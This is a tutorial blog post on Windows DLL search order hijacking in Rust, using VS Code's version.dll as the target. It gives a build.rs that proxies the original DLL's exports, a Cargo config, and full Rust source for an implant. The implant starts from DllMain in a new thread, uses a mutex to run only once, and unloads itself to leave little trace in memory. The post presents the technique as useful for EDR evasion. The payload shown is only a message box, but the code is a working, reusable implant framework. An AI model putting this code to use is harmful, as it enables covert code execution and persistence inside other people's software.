Rust DLL Search Order Hijacking

Get code execution through DLL Search Order Hijacking in Rust


What is DLL Search Order Hijacking

All code for this project can be found on my GitHub.

DLL Search Order Hijacking is a technique used by nation state APT threat actors, cyber criminals, and red and purple teams.

DLL Search Order Hijacking occurs where we exploit the ‘search order’ path of how Windows will look for and load modules. When an application tries to find a DLL, it will search in the following order:

  1. The directory from which the application loaded.
  2. The system directory (C:\Windows\System32).
  3. The 16-bit system directory (C:\Windows\System).
  4. The Windows directory (C:\Windows).
  5. The current working directory.
  6. The directories listed in the PATH environment variable.

So, if we are able to place our malicious DLL with the same name as what the program is looking for, in a directory higher than where it exists, we can load our malicious DLL instead of the genuine DLL being found lower down in the list.

A great DLL I love to use is version.dll, which is normally found in: C:\Windows\System32. Loads of programs seem to load this DLL, and it only has (in my experience) only a few exported functions making our life a little easier.

DLL Search Order Hijacking is also valuable for EDR Evasion.

DLL Search Order Hijacking in Rust

Simply putting a DLL higher up in the search order isn’t all we need to do, we also need to proxy the DLL’s exported functions that the program expects. I’m not going to go full length on how to find programs vulnerable to this; you should go ahead and read this guide by hacktricks.

So; assuming you have read that as an intro to DLL Search Order Hijacking you should now:

  1. Have identified a program susceptible to DLL Search Order Hijacking;
  2. Be able to write in the directory where the program launches from; and
  3. Know the exported functions, and ordinal numbers of the functions, from the DLL.

In this example, we are using version.dll from C:\Windows\System32 to proxy the functions of; so the first step is to copy this file into the directory of your target application. I’ll use VS Code since its installed on my system, so I can copy the DLL over into: C:\Users\User\AppData\Local\Programs\Microsoft VS Code.

Here, I will rename the DLL to: hijacked.dll. So, hijacked.dll = version.dll.

Next, its time to set up our Rust project. To create a simple Rust DLL project see my short post here.

The important bit

This DLL cargo project you have just set up is going to be our implant, the implant will have the name: version.dll (remember, the legit version.dll is now called hijacked.dll). What will happen is:

  1. When VS Code opens it will look for version.dll according to the search path order.
  2. It will find our malicious version.dll.

There is one problem with this; when we load our DLL into VSCode, it will crash - VSCode is looking to our version.dll (aka our implant) to export various functions that you should have identified in the above steps. What we want to do, is make sure that our binary has an export table entry for the functions the original version.dll exports which VSCode is using, and then we need to tell whatever is looking for that function that it can be found elsewhere - i.e. in hijacked.dll. This is where the ordinal numbers will come in.

VSCode is expecting the following functions exported by version.dll:

  1. VerQueryValueW
  2. GetFileVersionInfoSizeW
  3. GetFileVersionInfoW
  4. GetFileVersionInfoA
  5. VerQueryValueA
  6. GetFileVersionInfoSizeA

So, to link this all together, we need to create a build.rs file in the project root like so:

fn main() {
    println!("cargo:rustc-link-arg=/export:VerQueryValueW=hijacked.VerQueryValueW,@16");
    println!("cargo:rustc-link-arg=/export:GetFileVersionInfoSizeW=hijacked.GetFileVersionInfoSizeW,@7");
    println!("cargo:rustc-link-arg=/export:GetFileVersionInfoW=hijacked.GetFileVersionInfoW,@8");
    println!("cargo:rustc-link-arg=/export:GetFileVersionInfoA=hijacked.GetFileVersionInfoA,@1");
    println!("cargo:rustc-link-arg=/export:VerQueryValueA=hijacked.VerQueryValueA,@22");
    println!("cargo:rustc-link-arg=/export:GetFileVersionInfoSizeA=hijacked.GetFileVersionInfoSizeA,@5");
}

The important bits to modify are the function names to fit your exported functions, and the ordinal number (the @x at the end of the string).

Note that hijacked is the name of the DLL that we renamed version.dll to.

Finally, add this build file to your cargo.toml like so:

[package]
name = "dll_soj"
version = "0.1.0"
edition = "2021"
build = "build.rs"

[lib]
crate-type = ["cdylib"]

And thats it for the basic technique!

Loading the implant once

Building 1 further step on this; if you follow through and side-load into VSCode (and have a pop up box run on DLL_PROCESS_ATTACH), you may notice 3 - 5 pop-up windows show; it is loading this for each sub-process of VSCode that was launched on execution. If we had an implant running on an engagement, then this would lead to 3 - 5 implants running on that machine, and this will lead to chaos!

To solve this problem, you can create a mutex through CreateMutexW (MSDN, crates.io) which essentially we abuse as a unique flag on the system.

Once creating this mutex, we want to check the last error through GetLastError, if the last error was ERROR_ALREADY_EXISTS, then we know our implant is running so we want to return from the thread of the implant which received that result, so we can be sure only one instance of our implant is running.

At the end of our program, we want to delete the mutex so that the next time it is loaded into memory; our implant will start - we don’t want to deadlock ourselves! Deleting the mutex is as simple as closing its handle. If closing & reopening to test, make sure you check that you have closed all processes via Task Manager > Details > End Process (for all).

Once our hijacked.dll (the original version.dll) and our implant now named version.dll are both in the SAME FOLDER and that the folder they are in is where the application exe is launched from, when opening VSCode, we get:

Rust DLL Search Order Hijacking

Here is the snippets of code which will handle this, and below that, is the full code for the basic DLL:

Snippets:

struct Implant {
    mutex_handle: HANDLE,
    mutex_name: PCWSTR,
}

impl Default for Implant {
    fn default() -> Implant {
        Implant {
            mutex_handle: HANDLE(null_mut()),
            mutex_name: w!("MyImplantMutex"),
        }
    }
}

/// Attach is the function we want to call on entry to the DLL via DLL_PROCESS_ATTACH
#[no_mangle]
unsafe extern "system" fn attach(_lp_thread_param: *mut c_void) -> u32 {

    // initialise the implant
    let mut implant = Implant::default();

    //
    // First thing we should do is create the mutex to ensure only ONE instance of our payload is running
    // if the result of creating the mutex is none, exit the thread.
    //
    // This function will take care of moving the handle to the mutex into implant, so when we unload, we can
    // clean up the handle & delete the mutex
    //
    if create_global_mutex(&mut implant).is_none() { return 0 };

    MessageBoxA(None, s!("Implant injected :E"), s!("Implant injected :E"), MB_OK);

    // clean up the implant now our work is done
    cleanup_implant(&implant);

    1
}

/// Create a wide char global mutex on Windows which will prevent multiple
/// instances of this DLL being loaded into a process -we only want 1 
/// instance of our implant running on a machine :)
fn create_global_mutex(implant: &mut Implant) -> Option<()> {
    let result = unsafe {
        CreateMutexW(None, true, implant.mutex_name)
    };

    let result: Option<()> = match result {
        Ok(h) => {

            let last_error = unsafe { GetLastError() };
            if last_error == ERROR_ALREADY_EXISTS {
                eprintln!("[-] Mutex exists: {}", last_error.0);
                return None;
            }

            implant.mutex_handle = h;

            Some(())
        }, 
        Err(e) => {
            eprintln!("[-] Error: {}", e);
            return None;
        },
    };

    result
}

/// Cleanup the implant, ensuring handles and any other environment info 
/// is cleaned up
fn cleanup_implant(implant: &Implant) {
    unsafe {
        CloseHandle(implant.mutex_handle);
    };
}

Full code:

use std::{ffi::c_void, ptr::null_mut};
use windows::{core::PCWSTR, Win32::{Foundation::{CloseHandle, GetLastError, ERROR_ALREADY_EXISTS, HANDLE}, System::{SystemServices::*, Threading::CreateMutexW}, UI::WindowsAndMessaging::{MessageBoxA, MB_OK}}};
use windows::core::{s, w};
use windows::Win32::Foundation::HINSTANCE;
use windows::Win32::System::LibraryLoader::FreeLibraryAndExitThread;
use windows::Win32::System::Threading::{CreateThread, LPTHREAD_START_ROUTINE, THREAD_CREATION_FLAGS};

static mut HMODULE_INSTANCE: HINSTANCE = HINSTANCE(null_mut()); // handle to the module instance of the injected dll

enum LoadModule {
    FreeLibrary,
    StartImplant,
}

struct Implant {
    mutex_handle: HANDLE,
    mutex_name: PCWSTR,
}

impl Default for Implant {
    fn default() -> Implant {
        Implant {
            mutex_handle: HANDLE(null_mut()),
            mutex_name: w!("MyImplantMutex"),
        }
    }
}

#[no_mangle]
#[allow(non_snake_case)]
fn DllMain(hmod_instance: HINSTANCE, dw_reason: u32, _: usize) -> i32 {
    match dw_reason {
        DLL_PROCESS_ATTACH => unsafe {
            HMODULE_INSTANCE = hmod_instance; // set a handle to the module for a clean unload
            spawn_thread(LoadModule::StartImplant); // start implant in a new thread
        },
        _ => (),
    }

    1
}

/// Entrypoint to the actual implant to be spawned as a new thread from DLL_PROCESS_ATTACH.
/// This should help to prevent problems whereby a LoaderLock interferes with our implant.<br/><br/>
/// Think of this as calling a function to start something from main().
#[no_mangle]
unsafe extern "system" fn attach(_lp_thread_param: *mut c_void) -> u32 {

    // initialise the implant
    let mut implant = Implant::default();

    //
    // First thing we should do is create the mutex to ensure only ONE instance of our payload is running
    // if the result of creating the mutex is none, exit the thread.
    //
    // This function will take care of moving the handle to the mutex into implant, so when we unload, we can
    // clean up the handle & delete the mutex
    //
    if create_global_mutex(&mut implant).is_none() { return 0 };

    MessageBoxA(None, s!("Implant injected :E"), s!("Implant injected :E"), MB_OK);

    // clean up the implant now our work is done
    cleanup_implant(&implant);

    1
}

/// Spawn a new thread in the current injected process, calling a function pointer to a function
/// will run.
fn spawn_thread(lib_to_load: LoadModule) {
    unsafe {
        // function pointer to where the new thread will begin
        let thread_start: LPTHREAD_START_ROUTINE;

        match lib_to_load {
            LoadModule::FreeLibrary => thread_start = Some(unload_dll),
            LoadModule::StartImplant => thread_start = Some(attach)
        }

        // create a thread with a function pointer to the region of the program we want to execute.
        let _thread_handle = CreateThread(
            None,
            0,
            thread_start,
            None,
            THREAD_CREATION_FLAGS(0),
            None,
        );
    }
}

#[no_mangle]
/// Unload the DLL by its handle, so that there is no live evidence of hte DLL in memory after its
/// finished its business, plus allows for loading multiple of the same DLL into the same process
unsafe extern "system" fn unload_dll(_lpthread_param: *mut c_void) -> u32 {
    MessageBoxA(None, s!("Unloading"), s!("Unloading"), MB_OK);
    FreeLibraryAndExitThread(HMODULE_INSTANCE, 1);
}

/// Create a wide char global mutex on Windows which will prevent multiple
/// instances of this DLL being loaded into a process -we only want 1 
/// instance of our implant running on a machine :)
fn create_global_mutex(implant: &mut Implant) -> Option<()> {
    let result = unsafe {
        CreateMutexW(None, true, implant.mutex_name)
    };

    let result: Option<()> = match result {
        Ok(h) => {

            let last_error = unsafe { GetLastError() };
            if last_error == ERROR_ALREADY_EXISTS {
                eprintln!("[-] Mutex exists: {}", last_error.0);
                return None;
            }

            implant.mutex_handle = h;

            Some(())
        }, 
        Err(e) => {
            eprintln!("[-] Error: {}", e);
            return None;
        },
    };

    result
}

/// Cleanup the implant, ensuring handles and any other environment info 
/// is cleaned up
fn cleanup_implant(implant: &Implant) {
    unsafe {
        CloseHandle(implant.mutex_handle);
    };
}